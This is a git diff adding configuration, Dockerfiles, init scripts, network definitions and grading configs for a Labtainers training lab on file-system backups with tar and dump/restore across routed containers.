startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/etc/rc.d/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/etc/rc.d/rc.local new file mode 100755 index 000000000..9f8008e79 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/etc/rc.d/rc.local @@ -0,0 +1,5 @@ +#!/bin/bash +route delete default + +route add -host 172.25.0.2 gw 172.25.3.4 +rm -f /run/nologin diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/sbin/faux_init new file mode 100755 index 000000000..7d4af826d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/archive/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# +### Uncomment the while loop below +### if it is necessary to make sure parameterization has happened + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/config/about.txt new file mode 100644 index 000000000..6a80b83bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/config/about.txt @@ -0,0 +1 @@ +Using tar and dump/restore for file system backups, including to a remote archive. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/config/start.config new file mode 100644 index 000000000..35a32ec7e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/config/start.config @@ -0,0 +1,75 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER server + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED server_mike_master_seed + + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK LAN1 + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +NETWORK LAN2 + MASK 172.25.2.0/24 + GATEWAY 172.25.2.101 +NETWORK LAN3 + MASK 172.25.3.0/24 + GATEWAY 172.25.3.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER server + # user name of user who interacts with the container. + USER student + PASSWORD password123 + X11 YES + SCRIPT NONE + LAN1 172.25.0.2 + ADD-HOST archive:172.25.3.3 + +CONTAINER router1 + USER ubuntu + LAN1 172.25.0.3 + LAN2 172.25.2.3 + TERMINALS 0 + +CONTAINER router2 + USER ubuntu + LAN2 172.25.2.4 + LAN3 172.25.3.4 + TERMINALS 0 + +CONTAINER archive + USER student + PASSWORD password123 + SCRIPT NONE + X11 YES + LAN3 172.25.3.3 + ADD-HOST server:172.25.0.2 + TERMINALS 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/dockerfiles/Dockerfile.backups2.archive.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/dockerfiles/Dockerfile.backups2.archive.student new file mode 100644 index 000000000..18940f366 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/dockerfiles/Dockerfile.backups2.archive.student @@ -0,0 +1,62 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template for CentOS +# +# +ARG registry +FROM $registry/labtainer.centos.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/yum-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN systemctl enable mynotify +RUN systemctl enable rc-local +CMD ["/usr/sbin/init"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/dockerfiles/Dockerfile.backups2.router1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/dockerfiles/Dockerfile.backups2.router1.student new file mode 100644 index 000000000..3190a05a1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/dockerfiles/Dockerfile.backups2.router1.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/dockerfiles/Dockerfile.backups2.router2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/dockerfiles/Dockerfile.backups2.router2.student new file mode 100644 index 000000000..3190a05a1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/dockerfiles/Dockerfile.backups2.router2.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/dockerfiles/Dockerfile.backups2.server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/dockerfiles/Dockerfile.backups2.server.student new file mode 100644 index 000000000..2d895b879 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/dockerfiles/Dockerfile.backups2.server.student @@ -0,0 +1,69 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.centos.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/yum-source.sh +RUN yum install -y dump openssl e4fsprogs +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN echo "root:badpassword" | chpasswd +#RUN adduser $user_name sudo +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel +RUN yum install -y qemu-img parted traceroute mtr +RUN ln -s /lib64/iscsi/libiscsi.so.2 /lib64/libiscsi.so.2 +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/usr/sbin/init"] +# replace below with two above for centos +#ENTRYPOINT sudo /sbin/faux_init && bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/Makefile new file mode 100644 index 000000000..f0f4dd4e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/Makefile @@ -0,0 +1,6 @@ +backups.pdf: backups.docx + soffice --convert-to pdf backups.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups-Input.xlsx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups-Input.xlsx new file mode 100755 index 000000000..e1dae8d7e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups-Input.xlsx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups-Template.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups-Template.docx new file mode 100755 index 000000000..9ac0ade07 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups-Template.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups.docx new file mode 100755 index 000000000..7b03b4a97 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/backups.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/read_first.txt new file mode 100644 index 000000000..e2691cea2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/docs/read_first.txt @@ -0,0 +1,10 @@ +The lab manual is at + file://LAB_DOCS/backups.pdf +The report template at + file://LAB_DOCS/backups-Template.docx +The spreadsheet workbook at + file://LAB_DOCS/backups-Input.xlsx + +You may open those files by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/instr_config/goals.config new file mode 100644 index 000000000..ee5f67256 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/instr_config/goals.config @@ -0,0 +1,10 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#SUM: No assessment of specific outcomes, just a list of command counts. + +#GROUP: Count of commands issued by the student +tar_count = value : tar +dump_count = value : dump +restore_count = value : restore +openssl_count = value : openssl diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/instr_config/results.config new file mode 100644 index 000000000..cc2c5afc9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/instr_config/results.config @@ -0,0 +1,7 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +tar = server:/root/.bash_history : COMMAND_COUNT : tar +dump = server:/root/.bash_history : COMMAND_COUNT : dump +restore = server:/root/.bash_history : COMMAND_COUNT : restore +openssl = server:/root/.bash_history : COMMAND_COUNT : openssl diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/internal-repos.repo b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/internal-repos.repo new file mode 100644 index 000000000..c78812427 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/internal-repos.repo @@ -0,0 +1,22 @@ +# File:/etc/yum.repos.d/internal-repos.repo +[base] +name=CentOS Base +baseurl=http://centosmirror.uc.nps.edu/repos/base/ +gpgcheck=0 +enabled=1 +[centosplus] +name=CentOS CentOSPlus +baseurl=http://centosmirror.uc.nps.edu/repos/centosplus/ +gpgcheck=0 +enabled=1 +[extras] +name=CentOS Extras +baseurl=http://centosmirror.uc.nps.edu/repos/extras/ +gpgcheck=0 +enabled=1 +[updates] +name=CentOS Updates +baseurl=http://centosmirror.uc.nps.edu/repos/updates/ +gpgcheck=0 +enabled=1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/backups2/router1/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that 